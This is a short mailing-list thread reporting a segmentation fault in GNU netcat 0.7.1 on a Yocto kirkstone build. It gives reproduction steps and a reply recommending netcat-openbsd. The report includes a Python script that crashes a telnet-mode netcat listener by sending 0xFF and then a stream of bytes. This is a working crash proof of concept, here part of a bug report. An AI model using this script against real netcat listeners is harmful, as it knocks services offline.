Skip to contentSkip to conversation

netcat0.7.1 segfault

kirkstone Wang, Jinfeng (CN) 2 participants 3 messages Mar 12, 2025 – Mar 13, 2025

lore
Share & tools
lore
#0 lore raw

Hi all,

 I found there is a segment fault in gnu netcat 0.7.1. I can reproduce it in kirkstone.

  root@qemux86-64:~# netcat -nlvp 12347 -T
Connection from 127.0.0.1:52236
[   87.252879] netcat[242]: segfault at 55b9310e0000 ip 000055b9310b9d3e sp 00007ffcac0fa530 error 6 in netcat[55b9310b5000+5000]
[   87.254051] Code: e8 57 b6 ff ff 31 f6 83 c3 01 39 dd 7e 68 48 63 c3 41 0f b6 54 05 00 48 63 05 b2 45 00 00 80 fa ff 74 04 85 c0 74 e0 8d 48 01 <41> 88 14 06 44 8d 66 01 85
Segmentation fault

Reproduce steps are as belows:

   1. git clone https://git.openembedded.org/meta-openembedded
    git checkout kirkstone

    git clone https://git.yoctoproject.org/poky
    git checkout kirkstone
    cd poky
    source oe-init-build-env
    bitbake-layers add-layer /mydir/workspace/poky22/meta-openembedded/meta-oe/ bitbake-layers add-layer /mydir/workspace/poky22/meta-openembedded/meta-python/ bitbake-layers add-layer /mydir/workspace/poky22/meta-openembedded/meta-networking/

    vi conf/local.conf
       INIT_MANAGER='systemd'
       EXTRA_IMAGE_FEATURES += "package-management debug-tweaks" BB_NUMBER_THREADS = "32"
       PARALLEL_MAKE = "-j 16"
       IMAGE_INSTALL:append = " netcat ssh"

    bitbake core-image-minimal

    2.###on the target run:
    netcat -nlvp 12347 -T

    ssh login:
    run the following test.py:

       import socket

       RHOST = "127.0.0.1"
       RPORT = 12347

       print("[+] Connecting to %s:%d" % (RHOST, RPORT)) s = socket.create_connection((RHOST, RPORT)) s.send(b"\xFF") # Telnet control character print("[+] Telnet control character sent") print("[i] Starting")
       try:
           i = 0
           while True: # Loop until it crashes
               i += 1
               s.send(b"\x30")
       except:
           print("[+] GNU Netcat crashed on iteration: %d" % i)

Any suggestion?

Regards,

Jinfeng

#1 lore raw

Unfortunately gnu netcat has seen better days - last release 20 years ago, last change 10 years ago.
Is using netcat-openbsd out of question for you? It's also in meta-oe.

Quoted 82 lines · Jinfeng (CN) via lists.openembedded.org

Hi all,

 I found there is a segment fault in gnu netcat 0.7.1. I can reproduce
it in kirkstone.

   root@qemux86-64:~# netcat -nlvp 12347 -T
Connection from 127.0.0.1:52236
[   87.252879] netcat[242]: segfault at 55b9310e0000 ip 000055b9310b9d3e 
sp 00007ffcac0fa530 error 6 in netcat[55b9310b5000+5000]
[   87.254051] Code: e8 57 b6 ff ff 31 f6 83 c3 01 39 dd 7e 68 48 63 c3 
41 0f b6 54 05 00 48 63 05 b2 45 00 00 80 fa ff 74 04 85 c0 74 e0 8d 48 
01 <41> 88 14 06 44 8d 66 01 85
Segmentation fault

Reproduce steps are as belows:

   1. git clone https://git.openembedded.org/meta-openembedded
    git checkout kirkstone

    git clone https://git.yoctoproject.org/poky
    git checkout kirkstone
    cd poky
    source oe-init-build-env
    bitbake-layers add-layer
/mydir/workspace/poky22/meta-openembedded/meta-oe/
    bitbake-layers add-layer
/mydir/workspace/poky22/meta-openembedded/meta-python/
    bitbake-layers add-layer
/mydir/workspace/poky22/meta-openembedded/meta-networking/

    vi conf/local.conf
       INIT_MANAGER='systemd'
       EXTRA_IMAGE_FEATURES += "package-management debug-tweaks" BB_NUMBER_THREADS = "32"
       PARALLEL_MAKE = "-j 16"
       IMAGE_INSTALL:append = " netcat ssh"

    bitbake core-image-minimal

    2.###on the target run:
    netcat -nlvp 12347 -T

    ssh login:
    run the following test.py:

       import socket

       RHOST = "127.0.0.1"
       RPORT = 12347

       print("[+] Connecting to %s:%d" % (RHOST, RPORT)) s = socket.create_connection((RHOST, RPORT)) s.send(b"\xFF") # Telnet control character print("[+] Telnet control character sent") print("[i] Starting")
       try:
           i = 0
           while True: # Loop until it crashes
               i += 1
               s.send(b"\x30")
       except:
           print("[+] GNU Netcat crashed on iteration: %d" % i)

Any suggestion?

Regards,

Jinfeng

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#115916): https://lists.openembedded.org/g/openembedded-devel/message/115916
Mute This Topic: https://lists.openembedded.org/mt/111656319/6084445
Group Owner: [email protected]
Unsubscribe: https://lists.openembedded.org/g/openembedded-devel/unsub [[email protected]]
-=-=-=-=-=-=-=-=-=-=-=-

#2 lore raw

Thanks.

I will test with netcat-openbsd.

Jinfeng

Quoted 90 lines · Gyorgy Sarvari

CAUTION: This email comes from a non Wind River email account!
Do not click links or open attachments unless you recognize the sender and know the content is safe.

Unfortunately gnu netcat has seen better days - last release 20 years ago, last change 10 years ago.
Is using netcat-openbsd out of question for you? It's also in meta-oe.

Quoted 82 lines · Jinfeng (CN) via lists.openembedded.org

Hi all,

I found there is a segment fault in gnu netcat 0.7.1. I can reproduce
it in kirkstone.

    root@qemux86-64:~# netcat -nlvp 12347 -T
Connection from 127.0.0.1:52236
[   87.252879] netcat[242]: segfault at 55b9310e0000 ip 000055b9310b9d3e
sp 00007ffcac0fa530 error 6 in netcat[55b9310b5000+5000]
[   87.254051] Code: e8 57 b6 ff ff 31 f6 83 c3 01 39 dd 7e 68 48 63 c3
41 0f b6 54 05 00 48 63 05 b2 45 00 00 80 fa ff 74 04 85 c0 74 e0 8d 48
01 <41> 88 14 06 44 8d 66 01 85
Segmentation fault

Reproduce steps are as belows:

1. git clone https://git.openembedded.org/meta-openembedded
git checkout kirkstone

git clone https://git.yoctoproject.org/poky
git checkout kirkstone
cd poky
source oe-init-build-env
bitbake-layers add-layer
/mydir/workspace/poky22/meta-openembedded/meta-oe/
bitbake-layers add-layer
/mydir/workspace/poky22/meta-openembedded/meta-python/
bitbake-layers add-layer
/mydir/workspace/poky22/meta-openembedded/meta-networking/

      vi conf/local.conf
         INIT_MANAGER='systemd'
         EXTRA_IMAGE_FEATURES += "package-management debug-tweaks"
         BB_NUMBER_THREADS = "32"
         PARALLEL_MAKE = "-j 16"
         IMAGE_INSTALL:append = " netcat ssh"

      bitbake core-image-minimal

      2.###on the target run:
      netcat -nlvp 12347 -T

      ssh login:
      run the following test.py:

         import socket

         RHOST = "127.0.0.1"
         RPORT = 12347

         print("[+] Connecting to %s:%d" % (RHOST, RPORT))
         s = socket.create_connection((RHOST, RPORT))
         s.send(b"\xFF") # Telnet control character
         print("[+] Telnet control character sent")
         print("[i] Starting")
         try:
             i = 0
             while True: # Loop until it crashes
                 i += 1
                 s.send(b"\x30")
         except:
             print("[+] GNU Netcat crashed on iteration: %d" % i)

Any suggestion?

Regards,

Jinfeng

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#115916): https://lists.openembedded.org/g/openembedded-devel/message/115916
Mute This Topic: https://lists.openembedded.org/mt/111656319/6084445
Group Owner: [email protected]
Unsubscribe: https://lists.openembedded.org/g/openembedded-devel/unsub [[email protected]]
-=-=-=-=-=-=-=-=-=-=-=-